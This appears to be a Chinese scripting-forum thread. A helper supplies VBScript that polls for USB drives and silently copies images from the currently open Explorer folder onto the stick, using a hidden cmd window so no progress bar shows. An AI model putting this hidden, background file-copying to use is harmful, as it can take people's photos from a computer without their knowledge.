找回密码
 注册
搜索
[新手上路]批处理新手入门导读[视频教程]批处理基础视频教程[视频教程]VBS基础视频教程[批处理精品]批处理版照片整理器
[批处理精品]纯批处理备份&还原驱动[批处理精品]CMD命令50条不能说的秘密[在线下载]第三方命令行工具[在线帮助]VBScript / JScript 在线参考
查看: 14456|回复: 8

[问题求助] [已解决]大佬能不能帮忙写个vbs复制图片到U盘

[复制链接]
发表于 2023-11-14 13:23:48 | 显示全部楼层 |阅读模式
本帖最后由 abcdsys 于 2023-11-16 17:26 编辑

各位大佬,能不能帮忙写个vbs,
需求是 后台复制当前打开的文件夹中图片格式的文件到U盘中,U盘的盘符不能确定。
感谢
发表于 2023-11-15 21:12:29 | 显示全部楼层
  1. Option Explicit
  2. Dim oFSO, oShell, oRegExp, oDrive, s, i

  3. WScript.Timeout = 3000    '指定多少秒后自动结束vbs

  4. Set oFSO = CreateObject("Scripting.FileSystemObject")
  5. Set oShell = CreateObject("Shell.Application")
  6. Set oRegExp = CreateObject("VBScript.RegExp")
  7. oRegExp.IgnoreCase = True
  8. oRegExp.Pattern = "^file:///([c-z]:/.*)"

  9. Do
  10.     For i = 67 To 90
  11.         s = Chr(i) & ":"
  12.         If oFSO.DriveExists(s) Then
  13.             Set oDrive = oFSO.GetDrive(s)
  14.             If oDrive.DriveType = 1 And oDrive.IsReady Then
  15.                 Call copyPic(oDrive.Path)
  16.             End If
  17.         End If
  18.     Next
  19.     WScript.Sleep 1000
  20. Loop

  21. Sub copyPic(ByVal p)
  22.     Dim j, s, oFolder, oFolderItems, oFolderItem
  23.     p = p & ""
  24.     For Each j In oShell.Windows()
  25.         If oRegExp.Test(j.LocationURL) Then
  26.             s = oRegExp.Execute(j.LocationURL)(0).SubMatches(0)
  27.         End If
  28.     Next
  29.     s = RePlace(s, "/", "")
  30.     Set oFolder = oShell.NameSpace(s)
  31.     Set oFolderItems = oFolder.Items()
  32.     oFolderItems.Filter &H40 + &H80 + &H10000, "*.jpg;*.jpeg;*.bmp;*.png"
  33.     Set oFolder = oShell.NameSpace(p)
  34.     For Each oFolderItem In oFolderItems
  35.         If Not oFSO.FileExists(p & oFolderItem.Name) Then oFolder.CopyHere oFolderItem
  36.     Next
  37. End Sub
复制代码
未测试
 楼主| 发表于 2023-11-16 15:40:06 | 显示全部楼层
回复 2# czjt1234


    感谢大佬,可以使用
还有一个问题,能不能静默复制,不要显示复制的进度条,还有可以指定复制到U盘的某个文件夹吗?
谢谢
发表于 2023-11-16 16:19:52 | 显示全部楼层
本帖最后由 czjt1234 于 2023-11-16 21:29 编辑
  1. Option Explicit
  2. Dim oFSO, oShell, oRegExp, oDrive, s, i

  3. Const p1 = "zy\11"        'U盘中的文件夹,前后都不要有\

  4. WScript.Timeout = 3000    '指定多少秒后自动结束vbs

  5. Set oFSO = CreateObject("Scripting.FileSystemObject")
  6. Set oShell = CreateObject("Shell.Application")
  7. Set oRegExp = CreateObject("VBScript.RegExp")
  8. oRegExp.IgnoreCase = True
  9. oRegExp.Pattern = "^file:///([c-z]:/.*)"

  10. Do
  11.     For i = 67 To 90
  12.         s = Chr(i) & ":"
  13.         If oFSO.DriveExists(s) Then
  14.             Set oDrive = oFSO.GetDrive(s)
  15.             If oDrive.DriveType = 1 And oDrive.IsReady Then
  16.                 Call copyPic(oDrive.Path)
  17.             End If
  18.         End If
  19.     Next
  20.     WScript.Sleep 1000
  21. Loop

  22. Sub copyPic(ByVal p)
  23.     Dim j, s, oFolder, oFolderItems, oFolderItem
  24.     p = p & ""
  25.     For Each j In oShell.Windows()
  26.         If oRegExp.Test(j.LocationURL) Then
  27.             s = oRegExp.Execute(j.LocationURL)(0).SubMatches(0)
  28.         End If
  29.     Next
  30.     s = RePlace(s, "/", "")
  31.     Set oFolder = oShell.NameSpace(s)
  32.     Set oFolderItems = oFolder.Items()
  33.     oFolderItems.Filter &H40 + &H80 + &H10000, "*.jpg;*.jpeg;*.bmp;*.png"
  34.     Set oFolder = oShell.NameSpace(p)
  35.     p = p & p1 & ""
  36.     s = """" & p & """"
  37.     For Each oFolderItem In oFolderItems
  38.         If Not oFSO.FileExists(p & oFolderItem.Name) Then
  39.             oShell.ShellExecute "cmd.exe", "/c copy """ & oFolderItem.Path & """ " & s,,, 0
  40.         End If
  41.     Next
  42. End Sub
复制代码

评分

参与人数 1技术 +1 收起 理由
abcdsys + 1 感谢大佬

查看全部评分

发表于 2023-11-16 22:07:27 | 显示全部楼层
回复 4# czjt1234


    何必又用fso又用shell.application又用cmd呢
发表于 2023-11-17 09:28:46 | 显示全部楼层
回复 5# jyswjjgdwtdtj


    隐藏复制的进度条
 楼主| 发表于 2023-11-17 10:38:17 | 显示全部楼层
本帖最后由 abcdsys 于 2023-11-17 11:18 编辑

回复 4# czjt1234


    大佬,有个问题,如果电脑上有其他U盘的话就不行了,如果U盘盘符是确定的,比方说是G的话,或者是仅复制到这个vbs文件运行时所在的U盘里面,应该怎么修改代码,
感谢!
发表于 2023-11-17 12:38:08 | 显示全部楼层
本帖最后由 czjt1234 于 2023-11-17 12:39 编辑
  1. Option Explicit
  2. Dim oFSO, oShell, oRegExp

  3. Const p1 = "zy\11"        'U盘中的文件夹,前后都不要有\

  4. WScript.Timeout = 3000    '指定多少秒后自动结束vbs

  5. Set oFSO = CreateObject("Scripting.FileSystemObject")
  6. Set oShell = CreateObject("Shell.Application")
  7. Set oRegExp = CreateObject("VBScript.RegExp")
  8. oRegExp.IgnoreCase = True
  9. oRegExp.Pattern = "^file:///([c-z]:/.*)"

  10. Do
  11.     Call copyPic(oFSO.GetDriveName(WScript.ScriptFullname))
  12.     WScript.Sleep 1000
  13. Loop

  14. Sub copyPic(ByVal p)
  15.     Dim j, s, oFolder, oFolderItems, oFolderItem
  16.     p = p & ""
  17.     For Each j In oShell.Windows()
  18.         If oRegExp.Test(j.LocationURL) Then
  19.             s = oRegExp.Execute(j.LocationURL)(0).SubMatches(0)
  20.         End If
  21.     Next
  22.     s = RePlace(s, "/", "")
  23.     Set oFolder = oShell.NameSpace(s)
  24.     Set oFolderItems = oFolder.Items()
  25.     oFolderItems.Filter &H40 + &H80 + &H10000, "*.jpg;*.jpeg;*.bmp;*.png"
  26.     Set oFolder = oShell.NameSpace(p)
  27.     p = p & p1 & ""
  28.     s = """" & p & """"
  29.     For Each oFolderItem In oFolderItems
  30.         If Not oFSO.FileExists(p & oFolderItem.Name) Then
  31.             oShell.ShellExecute "cmd.exe", "/c copy """ & oFolderItem.Path & """ " & s,,, 0
  32.         End If
  33.     Next
  34. End Sub
复制代码
发表于 2023-11-17 22:28:08 | 显示全部楼层
回复 6# czjt1234


    额 copyhere可以加第二个参数的吧
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Archiver|手机版|小黑屋|批处理之家 ( 渝ICP备10000708号 )

GMT+8, 2026-3-17 06:24 , Processed in 0.021401 second(s), 9 queries , File On.

Powered by Discuz! X3.5

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表